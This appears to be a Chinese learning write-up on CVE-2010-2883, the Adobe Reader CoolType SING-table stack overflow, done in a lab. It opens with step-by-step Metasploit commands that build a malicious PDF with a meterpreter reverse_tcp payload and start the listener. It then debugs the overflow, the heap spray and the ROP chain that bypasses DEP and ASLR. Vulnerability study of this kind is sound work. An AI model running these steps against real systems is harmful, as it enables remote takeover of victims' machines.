漏洞战争CVE-2010-2883 小白分析 望大佬指点迷津
Adobe Reader TTF字体SING表栈溢出漏洞

CVE-2010-2883漏洞利用(Kali虚拟机)
1. 打开Kali系统,输入指令msfconsole

2. 指令 search cve-2010-2883

3.获取主机ip
打开命令行窗口 指令 ifconfig

4. 指令 use exploit/windows/fileformat/adobe_cooltype_sing
(使用此漏洞模块)
指令 set payload windows/meterpreter/reverse_tcp
(调用meterpreter载荷,反向连接到渗透机)
指令 set lhost 192.168.117.134
(设置主机ip)
指令 set FILENAME CVE-2010-2883.pdf
(设置漏洞利用文件名)
指令 show options
(查看选项)

指令 exploit
(生成漏洞利用文件)

5. Metasploit开启shell监听会话,等待肉鸡上线
指令 use exploit/multi/handler
(使用handler监听模块)
指令 set payload windows/meterpreter/reverse_tcp
(回弹一个tcp连接)
指令 set lhost 192.168.117.134
(设置监听ip地址)
指令 show options
(查看设置选项)

exploit
(开启监听,等待回连)

6. 在目标靶机内装载AdobeReader 9.3
7. 将生成的CVE-2010-2883.pdf(漏洞利用文件)拷贝至目标靶机,使用Adobe Reader打开此文件
8. 靶机出现卡顿的情况(此时靶机正在与主机进行连接)
9. 回到主机,发现此时已经成功与靶机进行了连接

10. 指令 dir (查看靶机目录文件)

指令 mkdir aaa (在靶机当前目录下创建文件夹)

指令 screenshot (靶机截图)

POC样本解析
网上下裁PDFStreamDumper解析PDF工具
使用PDFStreamDumper打开Poc样本(注:此poc样本为漏洞战争附属资料——名企面试自助手册)

查看第11页

查看第12页JS代码

翻译成如下代码
AdobeReader在打开pdf文件时会执行

(图中??????还没有弄懂含义,望各位大佬提供思路)
漏洞成因分析
CVE-2010-2883是Adobe Reader中CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码-----《漏洞战争》
SING表数据结构


通过相对文件偏移查找SING表
SING表结构


图中红框为超长的UnicodeName项
知道了漏洞产生模块和漏洞原理,我们利用ida打开该模块进行静态分析

OD跟踪查看

strcat执行后的栈

此时我们对该栈下内存访问断点,然后跑起来,断到如下地址

因为当初strcat覆盖时已将此栈地址覆盖,看了看retn指令,在看到此时的栈顶,eip已经被我们掌控了,
跟进去,查看4A82A714地址的内容

pop esp 再加上此时的栈顶地址0c0c0c0c,这是直接就修改我们的栈地址了,执行效果如下

通过连续的ROP指令调用了CreateFileA函数

又以相同的方式调用了CreateFileMappingA函数,创建文件内存映射

再以相同的方式调用了MapViewOfFile

最后调用了memcpy函数

其中目的地址29f0000为共享内存地址,源地址为shellcode代码地址,memcpy执行后返回到目的地址直接执行shellcode。以此绕过DEP保护。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll,因此也可用于绕过ASLR保护。——《漏洞战争》
问题总结
1.如下图所示,Poc文件中,构造board3大块时,为甚麽0x80000会减去(0x1020-0x08)/2 ?
2.如下图所示, Poc文件中,连续申请堆空间时要在board3后追加"s"?

3.在未知漏洞信息的情况下,如何分析此poc文件?确切地说,如何找到溢出点?正常情况下,我们利用火绒剑检测其行为,发现打开文件操作后,下API断点,但此时的栈已被转换成0c0c0c0c,无法栈回溯,希望大佬可以给些建议,可以让我在未知漏洞的情况下,寻找到poc文件溢出点。
参考文献
1. 0day安全漏洞
2. 漏洞战争
3. https://bbs.pediy.com/thread-223106.htm
(大佬对HeapSpray发展的介绍:推荐)
4. https://blog.csdn.net/wangtiankuo/article/details/82994280
(CVE-2010-2883分析报告)
